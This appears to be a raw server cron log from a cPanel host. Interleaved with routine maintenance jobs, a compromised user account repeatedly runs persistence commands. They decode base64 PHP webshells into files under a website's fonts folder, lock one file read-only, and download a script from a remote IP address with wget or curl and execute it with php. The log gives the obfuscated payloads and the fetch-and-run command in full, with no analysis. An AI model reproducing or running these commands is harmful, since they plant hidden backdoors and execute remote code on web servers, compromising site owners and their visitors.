Sep 13 01:03:01 ip-184-168-122-23 CROND[21132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:04:01 ip-184-168-122-23 CROND[21226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:04:01 ip-184-168-122-23 CROND[21228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:04:01 ip-184-168-122-23 CROND[21229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:04:01 ip-184-168-122-23 CROND[21230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:04:01 ip-184-168-122-23 CROND[21231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:05:02 ip-184-168-122-23 CROND[21378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:05:02 ip-184-168-122-23 CROND[21379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:05:02 ip-184-168-122-23 CROND[21384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:05:02 ip-184-168-122-23 CROND[21383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:05:02 ip-184-168-122-23 CROND[21385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:05:02 ip-184-168-122-23 CROND[21386]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:05:02 ip-184-168-122-23 CROND[21387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:06:01 ip-184-168-122-23 CROND[21552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:06:01 ip-184-168-122-23 CROND[21554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:06:01 ip-184-168-122-23 CROND[21557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:06:01 ip-184-168-122-23 CROND[21555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:06:01 ip-184-168-122-23 CROND[21556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:07:01 ip-184-168-122-23 CROND[21657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:07:01 ip-184-168-122-23 CROND[21659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:07:01 ip-184-168-122-23 CROND[21661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:07:01 ip-184-168-122-23 CROND[21660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:08:01 ip-184-168-122-23 CROND[21754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:08:01 ip-184-168-122-23 CROND[21756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:08:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:08:01 ip-184-168-122-23 CROND[21758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:08:01 ip-184-168-122-23 CROND[21757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:09:01 ip-184-168-122-23 CROND[21852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:09:01 ip-184-168-122-23 CROND[21855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:09:01 ip-184-168-122-23 CROND[21856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:09:01 ip-184-168-122-23 CROND[21854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:09:01 ip-184-168-122-23 CROND[21857]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 01:10:01 ip-184-168-122-23 CROND[21953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:10:01 ip-184-168-122-23 CROND[21955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:10:01 ip-184-168-122-23 CROND[21957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:10:01 ip-184-168-122-23 CROND[21960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:10:01 ip-184-168-122-23 CROND[21961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:10:01 ip-184-168-122-23 CROND[21963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:10:01 ip-184-168-122-23 CROND[21959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:10:01 ip-184-168-122-23 CROND[21964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:11:01 ip-184-168-122-23 CROND[22135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:11:01 ip-184-168-122-23 CROND[22137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:11:01 ip-184-168-122-23 CROND[22139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:11:01 ip-184-168-122-23 CROND[22138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:12:02 ip-184-168-122-23 CROND[22221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:12:02 ip-184-168-122-23 CROND[22223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:12:02 ip-184-168-122-23 CROND[22222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:12:02 ip-184-168-122-23 CROND[22224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:12:02 ip-184-168-122-23 CROND[22225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:13:01 ip-184-168-122-23 CROND[22308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:13:01 ip-184-168-122-23 CROND[22311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:13:01 ip-184-168-122-23 CROND[22310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:13:01 ip-184-168-122-23 CROND[22312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:14:01 ip-184-168-122-23 CROND[22401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:14:01 ip-184-168-122-23 CROND[22403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:14:01 ip-184-168-122-23 CROND[22405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:14:01 ip-184-168-122-23 CROND[22404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:14:01 ip-184-168-122-23 CROND[22406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:15:01 ip-184-168-122-23 CROND[22498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:15:01 ip-184-168-122-23 CROND[22502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:15:01 ip-184-168-122-23 CROND[22503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:15:01 ip-184-168-122-23 CROND[22500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
